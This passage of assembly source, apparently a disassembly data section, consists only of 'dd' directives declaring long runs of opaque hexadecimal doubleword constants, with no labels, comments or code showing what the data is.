		dd 68AEEEA7h, 9BA031EFh, 1D030C25h, 0B881AB00h,	880E723Ch
		dd 0FC8700AFh, 6A751C76h, 450089C4h, 0C0FAD4DAh, 5659C5h
		dd 0CE2B3093h, 38169B27h, 0E1051900h, 5BF5D0AAh, 51B8944Bh
		dd 74720C46h, 77FB18FCh, 0E4712083h, 31F892F8h,	916DB325h
		dd 5E0CC938h, 1C8E1E40h, 43B2B01Fh, 56AAD2F1h, 0A67151E0h
		dd 60973580h, 0BE206070h, 5575CDD4h, 760318D2h,	35A9DF4h
		dd 69C2A229h, 31028B45h, 0B4CD7296h, 408B61h, 1624305Fh
		dd 0DBF91DF4h, 0DA03010Fh, 417351D9h, 40B82238h, 87415374h
		dd 13C94700h, 25DBE2E4h, 9DA5302Bh, 552DF706h, 8200427Ch
		dd 0D6175E81h, 534894h,	29C65805h, 0AFC9CCE4h, 0F6DF9F00h
		dd 0F213FAB0h, 0C0FC33h, 0D626B7ADh, 40FFA2EAh,	9279E000h
		dd 0E854E5A3h, 608B005Ch, 18A08B5h, 94000C28h, 0B0E962CAh
		dd 0DF1D8126h, 0E44B00A0h, 0A56A7882h, 32C97500h, 9B43ACC7h
		dd 95B8009Ch, 5CC59215h, 0F600E93Ah, 7D58D4FAh,	81702Dh
		dd 4A10E0ABh, 9C57BC0Dh, 8B865100h, 0CDFB655h, 9E70B3h
		dd 0D4D0F498h, 0F9C94091h, 0A8814C2Ah, 0CAF34100h, 557C575Bh
		dd 0EFC807C6h, 0AEB6BB2Bh, 0C7072C60h, 1A009B8Ah, 0B39DB9F5h
		dd 770C1046h, 0B75C0024h, 29366B51h, 3B73DC79h,	1ECD9F00h
		dd 7E11F230h, 54B27Ch, 3390FF0Bh, 0A2FDD07h, 0D62DD501h
		dd 3404FEFh, 0A051DEC8h, 12DA75F4h, 1261A4F5h, 0DC40500h
		dd 99548020h, 0D700F39Ah, 0A48EE42Ah, 43F5DBh, 20C78B26h
		dd 0B72E15A0h, 3F5CF700h, 2241AC35h, 658A00A4h,	9517701Ah
		dd 25076DB0h, 0B3F188C1h, 0E0FCB1F2h, 7E5045A4h, 9E7B0B4Bh
		dd 700092FFh, 8FEC56Eh,	73155200h, 2305E7F6h, 0C0320004h
		dd 36ADB476h, 0E9008A5Ah, 9CBC1907h, 266C4FB6h,	0D04227h
		dd 7DEB873Dh, 3700EC73h, 0FF6DAA07h, 0A6123Ch, 0BDB998BFh
		dd 0DEF64F5Bh, 0FD70AAA1h, 0FE1CF03Fh, 0DB9B8216h, 0AD80545Fh
		dd 0B208A844h, 611D0053h, 0DD550BF1h, 0C4E69C52h, 24E768C0h
		dd 0B0AE0F6Dh, 129905B7h, 40FFFB4Eh, 0EC8B67A0h, 4C015DB3h
		dd 66ADF2BCh, 0A882525Ch, 0E8735B15h, 5AD668C0h, 2E330E04h
		dd 0F0902FF2h, 1A7DC1h,	1005387Fh, 55BA95A9h, 6BC00416h
		dd 59ED9441h, 0E464CC6Ah, 69A500A3h, 0ABF0610Ah, 4200D701h
		dd 632CA07h, 1C140BDh, 44DCFD7Bh, 0F946B5F4h, 0C7B6E457h
		dd 0BEEFCB39h, 0AD1080B8h, 43ABE99h, 0A2F00B25h, 7C235D61h
		dd 4780DDF1h, 2300FE85h, 5FFAC4B2h, 755761h, 32F189D3h
		dd 0EC7E47F3h, 20006494h, 0C121B9CBh, 0E0B7F242h, 0E35E0164h
		dd 2879569Eh, 3D18342Dh, 0A7008B90h, 0ABB258C1h, 0FC90847h
		dd 716C5784h, 870EF3E1h, 4F8980BBh, 0DA11D1DBh,	0D7D400ACh
		dd 8CC16EC8h, 1B000DEBh, 0FB9A7E76h, 0A47A15h, 5C640918h
		dd 71F5E36Bh, 0CCEA8700h, 0CBAEF3E2h, 3D8F2684h, 7A6700D0h
		dd 0E5D9F440h, 28465103h, 98AA74A7h, 2F089h, 0D79A5912h
		dd 0F9E96F7Ah, 1AB48215h, 0ADBE00D4h, 0C0CB6B56h, 5169005Ch
		dd 42DAD453h, 0E8006222h, 5A2BC6BDh, 2E7C08BCh,	914ABFh
		dd 66C4CBC1h, 60C6EC8Eh, 0E1B3D8h, 44FF78B1h, 75B971E2h
		dd 482DBA01h, 0F92CBC45h, 2E1C434h, 156FF18Eh, 2341BB4Fh
		dd 5F2FC442h, 0B5B99B00h, 0E96E70ADh, 0BC9A0090h, 1A029E51h
		dd 0EF7C1291h, 18D2DF00h, 0FE8243A8h, 98E1E1F9h, 0EC20DDF1h
		dd 17050F20h, 9EE08DA1h, 9A11552Bh, 9BE0E100h, 0DCD32C87h
		dd 0BF5F0052h, 0DCAE4AFh, 912EC1FDh, 1B003093h,	31679F0Ch
		dd 0D210C092h, 89B6246Bh, 7E50BFh, 75BB496Eh, 0A9B77077h
		dd 6917AD98h, 6800B6F0h, 5DE0C744h, 71C90076h, 4A22126h
		dd 731D6E4Ah, 90879932h, 1631A48Ah, 0C3EC13F3h,	0B10C1D15h
		dd 514FC19Eh, 24E67867h, 0E30EC82Ch, 0CF4C8825h, 6F5AC5CBh
		dd 32394CC0h, 0F40C1ED1h, 99D001EDh, 70353BE6h,	0A700B5D3h
		dd 3A7C674Ch, 7E5DBF6h,	4BA92F45h, 2E7810A0h, 0E800CD0Fh
		dd 3F665003h, 0A14285h,	0CCD2814Eh, 930E6ED9h, 0F6455E3Dh
		dd 6D0013E8h, 0B3070BEAh, 46FEC9h, 28CF8FE8h, 6B88F925h
		dd 438CD4Dh, 3D98B848h,	96C3D380h, 1FF2002Ah, 6F705401h
		dd 230132D9h, 9ACF52EAh, 683D63DBh, 9C9F0700h, 0A711958Dh
		dd 24924F7Dh, 0D23B480Eh, 0A5714064h, 392F9Bh, 3A83968Ch
		dd 68B64AF2h, 2B63E904h, 6B8138FBh, 0F820A17Dh,	0B50986A7h
		dd 0FB2668h, 8CB40FE8h,	7A6100AEh, 2DD728F4h, 3201B66Ch
		dd 4AE83F7Eh, 0FC6452BDh, 0FF340140h, 0ECACB373h, 0C038F448h
		dd 2D519218h, 324DE1A1h, 66C98A9Bh, 0FF14FC60h,	0AC00244Ah
		dd 0EBABE306h, 0A55A00F8h, 0F43FEF8Fh, 82035EBEh, 0B60F2584h
		dd 30E4D8B7h, 458E0E64h, 8BEE622Eh, 7FF68FA1h, 0C44BD866h
		dd 0B5408400h, 7BCDA610h, 3AFC7230h, 568036A2h,	0B6455350h
		dd 0FA132085h, 0A091C68Fh, 310A1ACh, 0A330AD12h, 1B39E659h
		dd 0B2F10056h, 99E73747h, 65026EAFh, 0A6F7D877h, 1C5E635Fh
		dd 92E0398h, 98487319h,	2C72F693h, 99DE5A04h, 2B803E85h
		dd 0E543B2h, 0FA98848Fh, 12D533A9h, 7456812h, 2ECEB420h
		dd 0F53403F3h, 0BE65C60h, 0C61C48D8h, 0CA119D1Dh, 9AE58F7Ch
		dd 586BC0E9h, 7CE18EBh
		dd 4988EFC5h, 0E2800F3Fh, 37D16C4h, 1847A400h, 0ABF6280Fh
		dd 0E31D326Ch, 0F0408030h, 0B000DAE5h, 2446EE3Eh, 0BC3833h
		dd 8E4FAC8Ah, 7BA30C36h, 7AEE31C1h, 60F27658h, 1691DC68h
		dd 9A09B2h, 25541AC7h, 1300AFB5h, 898D83Eh, 0A0731E03h
		dd 0E6688FCAh, 32CF265Dh, 0A02B80A4h, 4EE8E7Ah,	0A1BF1C00h
		dd 0FC442B3h, 0B2AF000Eh, 6260F9C3h, 8A076B34h,	0FEE7C9E5h
		dd 0A1138000h, 35F23A24h, 5AA49682h, 4C51EF3Ah,	40E89447h
		dd 7CCF5B89h, 0C11E43Ah, 183FBE53h, 87393C69h, 11256619h
		dd 154EE041h, 0C057F100h, 0DE6DFFB2h, 9D840085h, 31DACBA0h
		dd 620089A4h, 0F8CF12CCh, 0FD4D623h, 571F86ACh,	0BEFF87E0h
		dd 16072202h, 0A8AAAEF4h, 0F3E0A6A0h, 5AE451h, 0B3A2807Bh
		dd 891184E4h, 30147801h, 0FAF42EACh, 0C9C0E078h, 0DBE2EDD7h
		dd 5B4F8400h, 0A201FC97h, 591A3B43h, 0AF70007Fh, 738920DAh
		dd 0E0001DF1h, 0DD984207h, 29FC9Fh, 1B2F4C24h, 1F0603E9h
		dd 52768700h, 66B2FB27h, 0E01E0E34h, 5F20532Ah,	0D349565Ah
		dd 0F3956300h, 0D1071912h, 9E230344h, 456B7BEDh, 2A1C0890h
		dd 56D78600h, 1EFA84Ah,	6FCF0372h, 0C242404Eh, 0E5ED3298h
		dd 43996A00h, 0BA3A1E80h, 0F0609B3h, 61000A9Ch,	0CB6D91A1h
		dd 25958900h, 44AA5394h, 0DACD00C5h, 0A45CF957h, 7DE21245h
		dd 5F95FF00h, 568BFC13h, 7A3F6BEh, 65532224h, 0EE2590A8h
		dd 0FB12F92Fh, 8A44DA2h, 17451F83h, 0F46EC1F6h,	983E2231h
		dd 0E5214908h, 0F917074Dh, 0B752Dh, 0A8696858h,	0D7291D00h
		dd 13E3D82Fh, 0F94D31AFh, 8B674710h, 20FD7A38h,	0BB7763CCh
		dd 0B83B004Ah, 0E892D9AAh, 7900A532h, 88852412h, 667D48Ch
		dd 0A013157Dh, 0FA3A39FCh, 0D3950C4Eh, 0F811D7h, 694463F7h
		dd 51FF86E1h, 0FC08F166h, 927A21h, 61701460h, 0DC66313Eh
		dd 69D86B03h, 603A9B0h,	0B5ADACA0h, 0EB046812h,	7DE31796h
		dd 0D2F888C0h, 521309B4h, 7F5D181h, 0A25356CFh,	6FB000FBh
		dd 83764918h, 0C0007420h, 7ECFB3D3h, 4C92Ah, 8B08AA47h
		dd 691DE34Fh, 84D6DD00h, 2A247880h, 0BEBC09AEh,	0A280CCE4h
		dd 0E35FC9A7h, 0B9EBCD24h, 3C611Dh, 0BBB9495h, 2F8DBh
		dd 9A2CA1F7h, 481107E6h, 5813F00h, 0A9A48293h, 2B59131Dh
		dd 9F77000Ch, 0BBC206ADh, 787DD600h, 0E6ED0147h, 0DCF7031Eh
		dd 4B27AEB2h, 0C296FAD0h, 0E2C33500h, 52087DC1h, 8DC6002Dh
		dd 0FE57BF5Ch, 0DA014D37h, 729B81D6h, 98E89154h, 459900A1h
		dd 84B46DBh, 0FA02BFEAh, 28191679h, 138E4002h, 8BE26Ah
		dd 8973BAA6h, 7EDA6712h, 0B961D22Eh, 0FC80321Eh, 53BF4888h
		dd 4CC50F2Ah, 37605F20h, 0D58F303Eh, 19BBCE00h,	2897088Ch
		dd 0BAFF0623h, 3C299484h, 0DF4DEF0Fh, 3F172074h, 3C92F669h
		dd 1E0087CAh, 5E527799h, 36007A34h, 0A9EC8CE8h,	5CDEF818h
		dd 8613842Eh, 63D0084h,	3C1B2C81h, 9CA03FF0h, 0DD3A4C4Fh
		dd 0A54D80D2h, 28617E16h, 897403C0h, 2A254A6Ah,	877F40A9h
		dd 209A1218h, 8F72C3F0h, 0A8640054h, 8626D802h,	0BD019F0Fh
		dd 3C13D563h, 618018A3h, 0E589A66Fh, 2A1F0538h,	2C493A04h
		dd 1B6E006Ah, 37AC112h,	0F945A8B4h, 0E1C01DB2h,	0AC0095E3h
		dd 1A180BF4h, 0CECC04h,	0F8AF9663h, 0E9AA866Fh,	95001CF4h
		dd 0EA265DAh, 0DFA4D7Ah, 8F25748Eh, 0F9556028h,	4EF46375h
		dd 0C3B5DC00h, 0CD887A21h, 0F09F4882h, 444E201h, 70EE8A3Bh
		dd 4A001D24h, 0F93C4212h, 7E60B74h, 0AE9A9F3Eh,	0F0214059h
		dd 0C90084F7h, 151DB483h, 0BB450Eh, 8E545C98h, 41B6A67h
		dd 6314E15h, 0C4A17E80h, 0B2A8EC72h, 1A998600h,	0E2406D5Ah
		dd 0D69E3B66h, 0BC44BAD8h, 73C800E3h, 1F230CEFh, 4E03CBF0h
		dd 0DFBCA2DAh, 0D214B8B3h, 16620007h, 0E9F1DD1Bh, 0D81E9102h
		dd 9F474F41h, 6CC045EAh, 0B0EB0E49h, 4D69034Bh,	79A4C999h
		dd 219144F3h, 0E54FD43Fh, 0F7949050h, 0BE7A8C0Eh, 2936A047h
		dd 3C395F34h, 8080CF2Ch, 0F0F538D4h, 0A65011D6h, 4E001BE8h
		dd 0D3F70B4Bh, 0FE52C2EDh, 0A0109267h, 0F8B8E990h, 75F1004Ah
		dd 41167826h, 5618B46Fh, 4F2963FCh, 52740094h, 0DDFDFBB7h
		dd 4005ACD1h, 0AB7C896Bh, 12419400h, 1D601D26h,	8085A06Eh
		dd 0C0037AFAh, 1C06A6CFh, 0CBC41E8Dh, 0B9FB0051h, 5C430868h
		dd 113D98DFh, 0F1A60083h, 0A4A1FD8Bh, 6A7B2EFAh, 19E30078h
		dd 9AE6D2Ch, 0C8375401h, 0AFC280EBh, 0FEAACCh, 4DF683E3h
		dd 0BC97FD02h, 0C48C5707h, 201C81E6h, 2A80000Ah, 84C177Bh
		dd 1805E4EEh, 0ABBDB28Dh, 87641E80h, 73961C30h,	86BF4368h
		dd 0AC0EF08h, 3700C1BAh, 3B58650Dh, 42583E7h, 2D24C711h
		dd 9E25C01Ch, 1C90191Fh, 3BAB770Fh, 87B7C0F6h, 0E06C5DA5h
		dd 348E0025h, 85F8A84Dh, 5E185CBDh, 0FA987733h,	86AF2439h
		dd 6883000Fh, 15E3EFC7h, 5E5F0F00h, 87D45BC2h, 24FFEABh
		dd 0A5C3FA75h, 3E064ECh, 490F61E6h, 8C3265h, 0E4563415h
		dd 94E300E9h, 0D5CFA6ABh, 0E207EBC1h, 793C2864h, 5F96E4C0h
		dd 0A9750C1Ch, 0CC0250Fh, 481BCE20h, 4BA07C65h,	0D8A87E27h
		dd 7A00E1E0h, 0BDE1BFAh, 0FC853909h, 0EE1C24F6h, 60738000h
		dd 58904B45h, 39CD9E36h, 29963B28h, 0C98F11E0h,	1D00AB90h
		dd 0F719A4D6h, 95EFB4h,	796D643Ch, 35595181h, 2E023Fh
		dd 8FCD1D6Fh, 89E986h, 9E48FD06h, 0F6519FE7h, 0F2370D0Eh
		dd 461F60E6h, 38B5C722h, 8187BBFCh, 70D79610h, 28660A92h
		dd 160E9C32h, 7BF060D1h, 51BD09BCh, 0C42084ECh,	199C7FDBh
		dd 4C50EA0Bh, 62CE00B3h, 0AEA90Bh, 99DADEA1h, 0E74F6176h
		dd 944EC10Ah, 9E0EDCA3h, 49EB2667h, 52DA0011h, 0E8F43D03h
		dd 0C3003905h, 0D1E78C01h, 0E5875B8h, 0A3B2C9B4h, 0A815EAA1h
		dd 6901C098h, 70718501h, 0E6054E66h, 0A70230h, 7310D55Ch
		dd 83E54C8Bh, 0F6A5F800h, 0C91152BBh, 6E6D3B3Dh, 0D3FCCA1Eh
		dd 71DC0008h, 0B6A2FABAh, 8CAF5C00h, 213384BDh,	709D5094h
		dd 0B8B701C7h, 0AB2952D0h, 0F33CF0D7h, 0B006C74h, 3E2F7B33h
		dd 0A1EAEC65h, 0DCE0C6D8h, 0DEA41704h, 170B0063h, 78322216h
		dd 622BA100h, 69F670B8h, 9E9C0226h, 0D936575Dh,	80E8C4C0h
		dd 8F395498h, 0B1DD03A3h, 80EB111Dh, 39CF66h, 81D3DEF7h
		dd 149080FDh, 0A72A8701h, 0BE7EB222h, 0DE00F063h, 8F68AF77h
		dd 917053E4h, 581F3400h, 0CC8BA988h, 161D0005h,	0A24EB57Bh
		dd 0FE0EA132h, 40978E19h, 0B7EFBD42h, 6F6009Fh,	2A83592Dh
		dd 5500D058h, 8C37A5A0h, 0D560Fh, 7C43252Bh, 0D71861ECh
		dd 0A4A24913h, 921DA040h, 0F84DCFh, 54D32837h, 0DAEC1642h
		dd 39A32000h, 0C9D4F035h, 0DE1500A7h, 4AD61B64h, 620074F3h
		dd 0DCE68FB6h, 57DA40h,	0A630FA5h, 7B98692Ch, 0B409149h
		dd 201FB7FDh, 0F57A40C0h, 0C34707C8h, 7C85E7F9h, 0A43CE018h
		dd 1FDA19B1h, 3A00EC11h, 4973ABE2h, 5FCC20C0h, 0E4E1A3h
		dd 8A12C377h, 0F182171Fh, 4A2C68C0h, 41267Fh, 0D4D8E02Bh
		dd 0A5F9E6D2h, 0B76ECE0Fh, 23D9C025h, 57C122Ah,	986C2CF5h
		dd 14540466h, 0B49E208Ch, 79F361B1h, 4886E11Dh,	38CE9A10h
		dd 0B1C8BBC8h, 0E0CBEC1Ch, 0F112A3h, 9F350790h,	746889EBh
		dd 0B9620E00h, 80B68A92h, 61A20E69h, 0ACC30214h, 0E09F3D2Eh
		dd 4E8291F7h, 5F68F900h, 0D7ADEE8Bh, 54C400CCh,	9FD4077h
		dd 102243Eh, 10BE4C9Fh
		dd 5A10E00Ah, 81140C7Dh, 3CC898F1h, 87053Bh, 0A9F5FEECh
		dd 2B5044h, 0BB5C83F8h,	48C9F24Bh, 4185D800h, 0F11888E9h
		dd 3ABE6DEh, 156E4905h,	6591E4BFh, 4AD64310h, 161FC080h
		dd 75BED217h, 0C3F8D020h, 983F446h, 0BADE04A5h,	9382807Dh
		dd 74CF65h, 0C63CE80Dh,	50ABB173h, 98C4E900h, 2593442Dh
		dd 0BE201AAh, 0CFE15B1Eh, 0B6C3F814h, 2CF27C24h, 0C0E9D801h
		dd 0C8F87D3Ah, 60A50081h, 0D114285Eh, 2204AEF0h, 0DDF21ABAh
		dd 0CF329890h, 0E2D60A97h, 1AFC4F4h, 0F850476Eh, 109AFC15h
		dd 0A0769D00h, 37F5698Bh, 6ECA18F9h, 0E2B928EEh, 4D6A5818h
		dd 1829911h, 8CC5CC7Ah,	70F0238Eh, 0C6002F4Ch, 53CA29EAh
		dd 137BF5Ah, 36CBA7D7h,	0D87D111Eh, 9903814Bh, 0E786B126h
		dd 0CA85809Ch, 3F720EAAh, 0D8A01057h, 538AB211h, 1CEB9500h
		dd 131F653Ch, 27560582h, 90C90B8Fh, 0E44D5A58h,	1A44330Bh
		dd 623CA038h, 22F9B7Ch,	805825CCh, 30C07770h, 0A14C3EC0h
		dd 9CF200ACh, 1BE9309Fh, 892B0BC8h, 949066D6h, 3009457h
		dd 682A07E2h, 4A199B4Ch, 0CF24045Dh, 12238187h,	4F10F4D3h
		dd 0FEF1E900h, 9967E259h, 0FFCF7B1h, 0B87748h, 0E03A9D73h
		dd 0BCCB823Eh, 80E3F400h, 28D1164h, 23880EB9h, 570E4110h
		dd 6FD91520h, 3100F716h, 0B060FC4Bh, 740D5FC7h,	96628CDh
		dd 0E16D0BB0h, 68031938h, 39F823BAh, 5894A64Bh,	7D9900F3h
		dd 2BF27003h, 0A200B7F9h, 0E0486117h, 22E9DDBh,	0D036E9D7h
		dd 3CC040F5h, 8A00C5BFh, 207F316Ah, 3CA3249h, 3C13DCAEh
		dd 0F6D9234Ch, 0F010616Ch, 0CE006ED7h, 0F9D1E8B0h, 949F3Dh
		dd 36DFB9B1h, 3BF0C0ECh, 5300089Ah, 4793D8DDh, 0F65CEE6h
		dd 0D3BE8C25h, 0BA70FCE0h, 0C52EE021h, 8400348Bh, 9E234D42h
		dd 0ABC604E6h, 804393E8h, 800C4F1Ch, 57692B01h,	0C022B43Bh
		dd 1BCF4C4h, 0CA123E06h, 0CE994E07h, 5007E850h,	43D9FA4Dh
		dd 11515520h, 0A76903D2h, 0C78AF4CEh, 8B6130C0h, 606F7E30h
		dd 0FD024Ch, 0CB7BB3EAh, 88B8B965h, 4DA0C100h, 3E49CDFEh
		dd 0DF89004Ah, 0A5CEE2B3h, 30ED5878h, 4492973Dh, 0C41FC500h
		dd 2E469A1h, 922C9091h,	455300A0h, 0FB061DCh, 7F0066C5h
		dd 0AB8C4AC0h, 195CCEFh, 0D13BBA25h, 0DD44ACE5h, 1E1B7006h
		dd 853FE00h, 2B61602Ah,	7A1C2442h, 5C9A00E8h, 0CD5799E1h
		dd 0D3E44F00h, 3F7C7B1Eh, 0BF20C05Eh, 27FEA6D6h, 0F2225200h
		dd 0C59108E7h, 0A9DF00AAh, 34BE84BCh, 0D112A4DEh, 84881C30h
		dd 0F15E00ECh, 55286447h, 540017B6h, 9E8E773Eh,	1DE2EEh
		dd 0E8CA1E72h, 2D36F746h, 96496F3Ch, 7F096550h,	0B13C82D7h
		dd 69C4AEEDh, 899041A8h, 947582C4h, 0EB290E1Ch,	6378803Fh
		dd 0CE0A88B5h, 0CB8AAA00h, 7935123Ah, 666A3EABh, 0C560F400h
		dd 86271681h, 0A0705A4Ah, 6C4B13h, 919F9929h, 0E9CE2AFBh
		dd 0BD937F01h, 79F98AACh, 165D0870h, 0F34430h, 0E0DCFDDAh
		dd 0D9E88BDEh, 4194Dh, 0ACC19BD3h, 2CFEAA7Bh, 2D88CE2h
		dd 7E0E035Bh, 6FE5B140h, 0C801CE4Bh, 0C8ADD885h, 397AD180h
		dd 9A13CA3Dh, 6B5090FAh, 0D260A7C2h, 3E4F8C21h,	0E836027Bh
		dd 0AE3E1D4h, 0AD009470h, 2438379Dh, 17A35Bh, 0C652972Dh
		dd 50E5FF57h, 74D241C1h, 0A8288192h, 65B4CE0Ch,	9C013141h
		dd 0D50E12C5h, 9434A97Eh, 3BAB02E9h, 6A4155C1h,	23F9BC20h
		dd 0BC9C4Bh, 0D5A3483Ch, 341ED306h, 53439774h, 0D82A155Bh
		dd 168AF342h, 4D915Eh, 2DA8789Dh, 2F00D0A7h, 71C96A92h
		dd 0E2B5F429h, 9E2B04E4h, 80AA8033h, 0B02F021Ch, 0A4BB1C28h
		dd 0BD9B3206h, 3D114037h, 488025F6h, 717E682Bh,	3E188DE1h
		dd 12115E3h, 0F7891EACh, 46378026h, 4B6BBC7Bh, 5300F490h
		dd 0CEEF7EE5h, 4D355Ch,	23A6B0A8h, 0ED33C63h, 29757F00h
		dd 7CF2FAD9h, 173B5C15h, 5F7DFD00h, 36EF8ECFh, 81A03C00h
		dd 0F502749Fh, 469E093Fh, 2800684Ch, 0A06C8E26h, 7AA3370Fh
		dd 801EAE25h, 3CE189A6h, 1A4D0130h, 55AECC0Fh, 0F91130C1h
		dd 1BBF4005h, 0E000A10Dh, 28275CC8h, 81081F74h,	1D6683EDh
		dd 9DD0D887h, 0D4173669h, 3AAC7C09h, 7D90FD00h,	395A4050h
		dd 0ECCF9A00h, 5F4B22F5h, 277334h, 0F8DDFFCBh, 6B367311h
		dd 68120101h, 0C0E46F0Dh, 781D70h, 0DEF0AD6Dh, 64B0B72Ah
		dd 198B7900h, 4E38F71Ah, 0A7AE0127h, 0B872FB0Dh, 5F90D46Ch
		dd 0A58E1401h, 0B2709BC1h, 9E38024h, 1EBB0894h,	92891820h
		dd 9E3E80AAh, 0DAFE0F4Bh, 0E6AE0FAh, 952801h, 4DDF77Dh
		dd 0B34D272Ch, 3903000h, 9BD5BBDFh, 616E174Ah, 7C07AE0Dh
		dd 0AAD163BEh, 4FF60E7h, 0B1BCE070h, 1464C118h,	12202987h
		dd 3C909198h, 1D7C1216h, 6422C0Bh, 18EEA517h, 7F785AF0h
		dd 18086812h, 0E857097h, 0F514FDC0h, 0B7F30462h, 0C75857D1h
		dd 27A0BE06h, 7E1CD3F9h, 921B840Fh, 9917C23Fh, 2C38809Ch
		dd 0F0267C2Ah, 911C632Bh, 80E00ADDh, 0A50216E0h, 14C3AFE4h
		dd 0B658808Ah, 0F5B1D4h, 0E491649Ah, 0C6E8C347h, 5827BC08h
		dd 0AAD124Bh, 83B4A359h, 0D42B4938h, 0B13A86E0h, 61A6A100h
		dd 65D605F3h, 58A40019h, 4A9CBB50h, 1E0E79CBh, 0A06648A1h
		dd 970244A3h, 12B1C1BDh, 0C08249C9h, 0A10109CFh, 21780FA7h
		dd 54FC380Bh, 5DB838AEh, 98B9DD02h, 0A0A36479h,	97C8CEF7h
		dd 0F807B64Ah, 98D3161Ch, 1E1EECC6h, 572A2Dh, 1D07CC9Eh
		dd 0CF1F8DFAh, 0A000C5B5h, 1C532638h, 8583015Fh, 447598E9h
		dd 6096D0BBh, 0A539E000h, 0C53E4E6h, 0F2570F2Ch, 0DE40275Eh
		dd 0EC4D0E25h, 20EEF100h, 6512ACE2h, 0FB07218h,	1EA1B68Bh
		dd 44209BAEh, 826BF31Dh, 3FA738h, 0F9AA9F4h, 3F6342B6h
		dd 831D7FD2h, 93C003Bh,	0CFB4818h, 205AAF03h, 30B2B765h
		dd 0F9214208h, 0A71CFBB0h, 0F24049D3h, 9AC56217h, 3BAE0189h
		dd 4C39AF63h, 300DCD7Bh, 7E6359FCh, 64EEEC18h, 606E7040h
		dd 23D5FB55h, 3311E2B0h, 0FB5DE600h, 0C362FC1Bh, 0F267B006h
		dd 0F6046B9h, 7F38093Bh, 57AA08AEh, 0E1C0008h, 0FC54879h
		dd 1F730424h, 300833h, 7AD47B21h, 0B70DEED8h, 17445701h
		dd 14E4226Dh, 861588Eh,	0D1802834h, 27C5477Ah, 858208Ch
		dd 793B7C00h, 729AAC49h, 0CC820003h, 9E31997Bh,	26605754h
		dd 20D55149h, 0FB6B07ADh, 904BF886h, 5F178FCDh,	36B25Ch
		dd 1E9DB5A8h, 0B8AE2666h, 601F03A6h, 7C383F3Eh,	804E2EC1h
		dd 587A9E10h, 1652D0h, 38F1BA7Fh, 2295B734h, 0D6307200h
		dd 29B15691h, 0DD9D0067h, 16FE2147h, 5438F1F3h,	0D9F5803Ch
		dd 0A092D1C6h, 714500FBh, 9B22E27Bh, 670E1438h,	168B91Ah
		dd 0C6F12FF3h, 0E6611BFCh, 0D58C03E9h, 0D4BC6CA1h, 5F74E7A0h
		dd 0E87A7600h, 7EF6C3F3h, 3120369h, 0BA84C92Fh,	0E2DE1C00h
		dd 18060FEDh, 38F6A1h, 217716C6h, 0E3D87262h, 0D056C800h
		dd 7BB21055h, 6FE60022h, 413FEBF8h, 8014FBEh, 6CC1E18Eh
		dd 23E84903h, 5A3005Eh,	0D4D0FC31h, 0C30058ECh,	92AB51BBh
		dd 76B72766h, 0BC8F0016h, 2AD20585h, 0A000982Dh, 3A2FDF01h
		dd 60DEE6A6h, 5E6211B8h, 0C0F38560h, 1C00BE9Ah,	0C287143h
		dd 5AF221h, 0F4FE37Bh, 0C0EC23F4h, 53A21E00h, 0EA81798Dh
		dd 828300DEh, 1CC1AD2Eh, 271DB087h, 7507E049h, 256199ACh
		dd 0A883A68Dh, 0D22C4D8Fh, 0CA5808D0h, 22797700h, 38696432h
		dd 974E00EFh, 17290AD6h
		dd 880021CDh, 53B106E6h, 14A02FE0h, 945610DDh, 9C036700h
		dd 111B9D01h, 0F474461Ch, 9755E700h, 0C94B1DBh,	0E37FCBF1h
		dd 2D008161h, 72BCC1FBh, 3A38E524h, 0F4BD9D21h,	0E0F59106h
		dd 0B43E187Dh, 3100707Fh, 0ED30ECD6h, 32CA0Bh, 7DC9FCA7h
		dd 463A8D33h, 0F2398F00h, 8BBDE014h, 1F682CB4h,	931C052Fh
		dd 0B7EC0F6Ch, 69F613E1h, 5BC180B6h, 0CB0931EBh, 0E9F003C4h
		dd 0F629A157h, 3B103107h, 0BAC0079Fh, 5C11C7h, 20A9C35Dh
		dd 95FEBED7h, 6D97AE03h, 901E864Fh, 30BC3066h, 4941FD42h
		dd 7D75A13Ch, 7B75F100h, 0CC9DD66Dh, 10A958C6h,	0CBE40A06h
		dd 197FD810h, 1EB02B0Fh, 0A96E12h, 210D2A91h, 71B400EFh
		dd 0C26D5B19h, 441CAA9Fh, 23408DADh, 0B0C9BBC4h, 74CE0089h
		dd 0FA84F937h, 8500A9F5h, 40E9B863h, 40D6F4Bh, 0AE2ED27h
		dd 32AC80E5h, 9938FCDBh, 0ABBB0090h, 144C5661h,	7077E1h
		dd 53124DFDh, 90412894h, 369CD81Eh, 9395E040h, 2EF496Ah
		dd 88AB1422h, 0CD8071A4h, 919EFC2Eh, 0B7323B02h, 829C2779h
		dd 20B621F8h, 6D0DE92Eh, 0DEB4F001h, 6E8CCD6Fh,	54BAE720h
		dd 6A019h, 0F5D475A7h, 876192DAh, 65F87000h, 0A3B7DE2h
		dd 990324E3h, 3558BCF0h, 0B2CF4D00h, 6860C251h,	4F54E600h
		dd 0A25F24CBh, 6AF63CDAh, 0BF184D80h, 0E6323A82h, 0E8B840E5h
		dd 8249652h, 74904CB4h,	0FE387A80h, 0F4007FEBh,	1941B750h
		dd 0CF1D79B3h, 2400EE38h, 5EBA63ADh, 4509A1Dh, 0A400522Eh
		dd 0A87BCDAFh, 423900C1h, 814E2F35h, 0BA003324h, 23EC8A1Fh
		dd 73D2FE45h, 267667h, 95561B9h, 272433F5h, 80EB4138h
		dd 3BD02A90h, 7B712CDBh, 0D73700ACh, 27BFD108h,	42018FAAh
		dd 0A39EFBF5h, 0CCE4B460h, 390F006Ch, 7378BBE1h, 0D1008B34h
		dd 3F0D5EFBh, 67290C26h, 6EB0200Eh, 7FFED980h, 67014C6Ch
		dd 0F277BA73h, 4BF01D3Eh, 0A3C000E3h, 0AD3971A0h, 0E000F0D6h
		dd 0D69BC05h, 17152FF6h, 0BE1A7BCFh, 9BD63C01h,	0C0E4C773h
		dd 65540587h, 0C74399ABh, 0E11A60F7h, 5250A81Bh, 0C8C01D81h
		dd 0F98BBEF5h, 1E9877DFh, 80AE88D3h, 12571635h,	0FE01AAB9h
		dd 0C3555E28h, 582067DAh, 15FA0109h, 0BAC7F91Bh, 36488F61h
		dd 440EC023h, 12C29B3h,	6EB45F31h, 0E0E7FF32h, 0A4921135h
		dd 78200C00h, 46EED0DBh, 248E0059h, 81086A5Bh, 4A26C8BEh
		dd 7303007Ch, 0C0218F10h, 0F403787Eh, 0A4550124h, 5EC7F4D8h
		dd 0EBE8F07Ah, 0A500CC7Eh, 0AE311076h, 675983h,	0AB1F4FCDh
		dd 9C20C02Fh, 6EA0F603h, 806D8DD1h, 73B37981h, 0BAD00084h
